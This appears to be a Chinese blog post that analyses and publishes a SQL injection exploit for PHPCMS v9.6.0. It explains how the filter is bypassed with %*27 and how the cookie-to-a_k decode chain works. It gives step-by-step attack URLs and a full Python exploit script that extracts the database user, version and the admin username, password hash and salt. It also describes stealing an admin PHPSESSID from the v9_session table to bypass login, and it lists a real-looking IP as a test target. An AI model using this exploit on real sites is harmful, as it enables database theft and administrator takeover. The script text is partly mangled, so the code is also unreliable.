phpcms_v9.6.0_sql注入與exp
今天還是昨天
突然整個圈子都在問一個phpcms v9漏洞
我們這裡有好幾個未公開的
後來經過證實,你們是要這個注入的漏洞
這個漏洞的文檔已經在小範圍流傳了
phpcms_v9.6.0_sql注入分析
可疑的函數
localhost/phpcms/modules/attachment/attachments.php文件的第241GET提交src變數帶上了safe_relace函數,現在我們跟入這個該死的過濾函數看看它到底在搞什麼鬼....*/
2.過濾函數剖析和繞過
localhost/phpcms/libs/functions/global.func.php文件的63行開始可以看到此處將傳入的%27和%2527都進行刪除處理也就是還沒傳入資料庫前就已經被該死的程序吃了,但是在67行看到他還吃了*這樣我們就有辦法了也就是傳入%*27程序吃掉星號後%27就會被傳入。*/
3.src變數到底去哪了
/*這裡不做截圖請回到第一步的截圖查看,在241行代碼src傳入arr數組後在243行被json_encode函數加密為json格式後傳入json_str數組,然後在244行代碼又將json加密為cookie。在這裡我做個大膽的假設src存在注入那麼我們要傳入參數:src=%*27 updatexml(1,concat(1,(user())),1)%23;那麼我們傳入的參數將會被json加密後最終成為了:{src:%*27 updatexml(1,concat(1,(user())),1)%23};再然後就是cookie加密這裡不做計算cookie加密值需要的同學自己echo,假設暫且到這,它的最終這些動作都被賦值為swfupload_json函數。到此src變數故事以及完結請看下一章。*/
down.php的decode成全了我
/*在localhost/phpcms/modules/content/down.php的第14行代碼將a_k變數進行了decode操作這樣子我們把剛剛在src進行加密的SQL傳入a_k他就會進行解密還原回json,17行 將json字元串解析成變數 -> parse_str 以 & 區分,將字元串解析成3個變數最後傳入SQL為:{「aid":1,"src":"&id=%27 updatexml(1,concat(1,(user)),1)#&m=1&f=haha&modelid=2&catid=7&」,」filename」:」」};此處可以看到之前%*27的*沒了因為已經被他媽的狗比安全函數吃了*。最後我們看在第26行代碼將id傳入SQL欄位id既然這樣那就OK了我們嘗試還原。*/
phpcms_v9.6.0_sql注入還原
1.訪問/index.php?m=wap&c=index&a=init&siteid=1獲取一個cookie值傳入該死的src那塊操作否則會沒有身份
2.把這個傻逼cookie的值複製下來以POST傳入userid_flash變數訪問/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26不要問我URL編碼裡面是什麼東西我會告訴你那是SQL的Payload
3.上一步我們已經獲取到了通過json在通過cookie加密的SQL了因為他返回的cookie就是已經加密的SQLPayload現在我們傳入到a_k變數看看到底發生了什麼?
網上這個文檔傳的很快
作者我也不知道是誰
大家都把版權改成自己的
我也是醉了
有知情人士可留言~給人家一個版權
下面是EXP:
import requests,sys,urllib
url = sys.argv[1]
print Phpcms v9.6.0 SQLi Exploit Code By Luan
sqli_prefix = %*27an*d%20
sqli_info = e*xp(~(se*lect%*2af*rom(se*lect co*ncat(0x6c75616e24,us*er(),0x3a,ver*sion(),0x6c75616e24))x))
sqli_password1 = e*xp(~(se*lect%*2afro*m(sel*ect co*ncat(0x6c75616e24,username,0x3a,password,0x3a,encrypt,0x6c75616e24) fr*om
sqli_password2 = _admin li*mit 0,1)x))
sqli_padding = %23%26m%3D1%26f%3Dwobushou%26modelid%3D2%26catid%3D6
setp1 = url + /index.php?m=wap&a=index&siteid=1
cookies = {}
for c in requests.get(setp1).cookies:
tif c.name[-7:] == _siteid:
ttcookie_head = c.name[:6]
ttcookies[cookie_head+_userid] = c.value
tcookies[c.name] = c.value
print [+] Get Cookie : + str(cookies)
setp2 = url + /index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id= + sqli_prefix + urllib.quote_plus(sqli_info, safe=qwertyuiopasdfghjklzxcvbnm*) + sqli_padding
for c in requests.get(setp2,cookies=cookies).cookies:
tif c.name[-9:] == _att_json:
ttsqli_payload = c.value
print [+] Get SQLi Payload : + sqli_payload
setp3 = url + /index.php?m=content&c=down&a_k= + sqli_payload
html = requests.get(setp3,cookies=cookies).content
print [+] Get SQLi Output : + html.split(luan$)[1]
table_prefix = html[html.find(_download_data)-2:html.find(t_download_data)]
print [+] Get Table Prefix : + table_prefix
setp2 = url + /index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id= + sqli_prefix + urllib.quote_plus(sqli_password1, safe=qwertyuiopasdfghjklzxcvbnm*) + table_prefix + urllib.quote_plus(sqli_password2, safe=qwertyuiopasdfghjklzxcvbnm*) + sqli_padding
for c in requests.get(setp2,cookies=cookies).cookies:
tif c.name[-9:] == _att_json:
ttsqli_payload = c.value
print [+] Get SQLi Payload : + sqli_payload
setp3 = url + /index.php?m=content&c=down&a_k= + sqli_payload
html = requests.get(setp3,cookies=cookies).content
print [+] Get SQLi Output : + html.split(luan$)[1]
exp也是別人分享給我的
看起來作者應該是luan
測試地址:
122.9.16.209
成功截圖:
不過呢,眾所周知
phpcms的密文特別難解密
所以有個配合使用的方法
通過sql注入漏洞讀取資料庫信息
但是不能破解密碼的情況下
可以繞過後台驗證
phpcms資料庫中表v9_session
保存著管理員登錄的信息
而且欄位sessionid保存著就是
已經登錄管理後台的PHPSESSID
可以通過sql注入讀取到這個值
並寫入到自己的瀏覽器中。
直接訪問後台地址:
/index.php?m=admin&c=index&a=public_menu_left
將資料庫中的sessionid信息帶入!
相關文章網上也有
最後,我還是覺得這個漏洞挺雞肋的
至於哪裡雞肋請看官細細體會
還有幾個更牛逼的漏洞也許
過幾天就會有人放出來了
反正我不做第一個吃螃蟹的人了
怕被打死~
推薦閱讀: